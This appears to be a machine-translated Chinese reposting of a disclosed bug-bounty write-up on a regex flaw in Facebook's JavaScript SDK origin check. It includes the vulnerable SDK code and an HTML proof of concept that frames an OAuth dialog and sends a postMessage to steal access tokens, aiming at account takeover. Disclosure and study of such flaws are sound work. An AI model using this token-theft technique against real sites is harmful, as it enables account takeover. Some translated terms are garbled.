点击蓝字 · 关注我们
背景
技术细节
Facebook JS SDK可能由于各种原因在网站上实现,例如使用Facebook登录,共享,嵌入。同样,也可以使用相同的SDK与Facebook网站进行通信,以验证和提供可通过apps.facebook.com或页面标签访问的Canvas / Tab应用程序的内容。这是通过将SDK包含在网站上具有画布应用程序内容的页面中来完成的,然后在Facebook画布应用程序设置中添加页面链接。如果您访问apps.facebook.com/APP_ID/,则应发现所选页面将在iframe中提供,而Facebook网站将通过使用postMessage方法和EventListeners进行跨域窗口消息与您的网站进行通信,反之亦然。
安全跨域通信的主要密钥是始终验证特定消息的起源和目的地。Facebook无法在第三方网站所包含的SDK中执行此操作,因为它使用错误的正则表达式来验证收到的某些跨域消息的来源:
这是负责跨域通信的代码的一部分在SDK中:
__d("sdk.XD", ["JSSDKXDConfig", "Log", "QueryString", "Queue", "UrlMap", "guid", "isFacebookURI", "resolveWindow", "sdk.Event", "sdk.feature", "sdk.RPC", "sdk.Runtime", "sdk.Scribe", "sdk.URI"], (function(a, b, c, d, e, f) {
var g = new(b("Queue"))(),
h = "parent",
i = null,
j = /^https://.*facebook.com$/;
...
window.addEventListener("message", function(a) {
var c = a.data,
d = a.origin || "native";
if (!/^(https?://|native$)/.test(d)) {
b("Log").debug("Received message from invalid origin type: %s", d);
return
}
if (!j.test(d)) return;
if (typeof c === "string") r(c, d);
else {
if (a.source == parent && a.data.xdArbiterRegisterAck && j.test(d)) {
typeof a.data.xdArbiterRegisterAck === "string" && a.data.xdArbiterRegisterAck !== "" && p(a.data.xdArbiterRegisterAck);
g.isStarted() || g.start(function(a) {
if (a == null) {
b("Log").warn("Discarding null message from %s to %s", m, d);
return
}
var c = parent;
typeof a === "object" && typeof a.relation === "string" && (c = b("resolveWindow")(a.relation));
((c = c) != null ? c : parent).postMessage({
xdArbiterHandleMessage: !0,
message: a,
origin: m
}, d)
});
return
}
b("Log").warn("Received message of type %s from %s, expected a string. %s", typeof c, m, ES("JSON", "stringify", !1, c));
return
}
});
如果我们检查代码,就会发现SDK内有一个Eventlistener用于跨源消息。收到消息后,它将检查源是否以https(或本机)开头,并检查正则表达式。
“ /^https://.*facebook.com$/ ”,
您可能会注意到正则表达式本应以facebook.com及其子域为目标,但是在facebook.com之前缺少一个转义点。
(正确的是/^https://.*.facebook.com$/)。
这样,像testpocfacebook.com这样的域就可以通过此处进行的来源检查。
testpocfacebook.com发送的消息为{“ xdArbiterRegisterAck”:
“ canvas”}SDK会将FB_RPC json格式的消息返回到父窗口。
该消息将包括“ fallback_redirect_uri”,它是window.location.href的值。
这是该漏洞的利用。如上文所述,SDK包括用于所有可能功能的代码,网站可以使用SDK来仅使用共享功能,但是仍将包括画布功能的代码,这意味着该网站将具有用于跨源消息的EventListener现在将通过利用该漏洞从攻击者拥有的网站接受消息。正如您在上面的代码中可能会注意到的那样,已检查消息的来源,它应该是父窗口,这意味着要使其正常工作,目标页面还必须允许其自身被格式化。
总而言之,如果我们可以在包含Facebook Javascript SDK的网站中找到一个页面并且可以对其进行格式化,则可以泄漏该页面的window.location.href。
如何利用
https://example.com/profile/PROFILE_ID的iframe https://example.com/me
页面,则可以 对/ profile /页面进行格式化,我们在重定向后发送消息,然后将收到登录的用户配置文件ID。
同样的攻击可能会应用于oauth或其他授权机制的回调终结点,包括Facebook SDK。由于许多网站的每个页面都包含Facebook JS SDK(以与包含Google Analytics(分析)标签相同的方式),因此这将使帐户能够被接管或窃取敏感令牌。这将与前面的示例相同,我们假设网站使用Google或Facebook进行身份验证,我们将对
https://accounts.google.com/o/oauth2/auth或https://www.facebook
进行内嵌。com / dialog / oauth,其参数包括目标网站Google或Facebook应用程序的详细信息(redirect_uri和app_id),如果受害者已经登录到其Facebook或Google帐户,则这些网址将重定向到目标网站中的回调终结点网站,如果回调端点可以被iframed,
可以轻松针对托管画布应用或页面选项卡的网站发起此攻击。可以对canvas应用程序中使用的页面进行格式化,以允许其自身包含在apps.facebook.com中的iframe中,并且大多数情况下,同一页面也将用作Facebook oauth回调终结点。我们将使用以下src将iframe嵌入
https://testpocfacebook.com/中:https://www.facebook.com/dialog/oauth?client_id=APP&redirect_uri=REDIRECT_URI&response_type =token。
如果用户之前对此应用程序进行了授权,则它将直接重定向到REDIRECT_URI,该地址将嵌入Facebook SDK脚本。届时,父窗口将发送跨域消息并接收嵌入在fallback_redirect_uri中的access_token。
攻击者网站可能有100个iframe,每个iframe指向托管画布应用程序的不同网站,这将增加访问者之前使用这些应用程序之一的机会,我们最终将获得在应用程序范围内选择了权限的access_token。
快速示范发送给Facebook的报告中使用了该PoC(因为我无法包含第三方网站的PoC)。尽管由于www.instagram.com回调端点不允许对其本身进行格式化(X-Frame-Options:设置了拒绝标头),所以此方法不起作用,但是该端点包括Facebook JS SDK。如果发现绕过iframing问题,则可能导致完整的Facebook帐户接管,因为Instagram.com Facebook应用程序是第一方应用程序,并且生成的access_tokens可以访问
https://graph.facebook.com/ graphql
<html>
<head>
window.addEventListener("message", (event) => {console.log(event.data); }, false);
</head>
<body>
<script>function fun() {
var ifr = document.getElementById('ifr');
ifr.contentWindow.postMessage({"xdArbiterRegisterAck":"canvas"}, '*');
}</script>
<iframe src="https://www.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https://www.instagram.com/accounts/signup/&scope=email&response_type=token" onload="fun(this)"/>
</body>
</html>
如果登录的Facebook用户访问攻击者网站,则iframe中将请求
https://www.facebook.com/dialog/oauth,将重定向到https://www.instagram.com/accounts/在URL的哈希片段部分中使用access_token进行signup /。
端点/ accounts / signup /包含Facebook SDK(尽管不能被iframed,但出于示例的原因,我们假定它可以)。跨域消息将发送到iframe窗口,我们将收到包含Facebook用户access_token的消息。然后,我们可以接管帐户:')。
许多使用Facebook Javascript SDK的著名网站都容易受到使用相同攻击逻辑的用户帐户接管的影响。我很高兴发现此错误并及时报告了该错误,然后加以利用。
时间线
-
2020年11月20日-发送报告
-
2020年11月27日-Facebook确认
-
2020年12月4日-Facebook固定
-
2020年12月31日-Facebook授予的$ 10K赏金。+
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
本文始发于微信公众号(EDI安全):Facebook Javascript SDK中使用的错误正则表达式会导致包含该正则表达式的网站被帐户收购
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论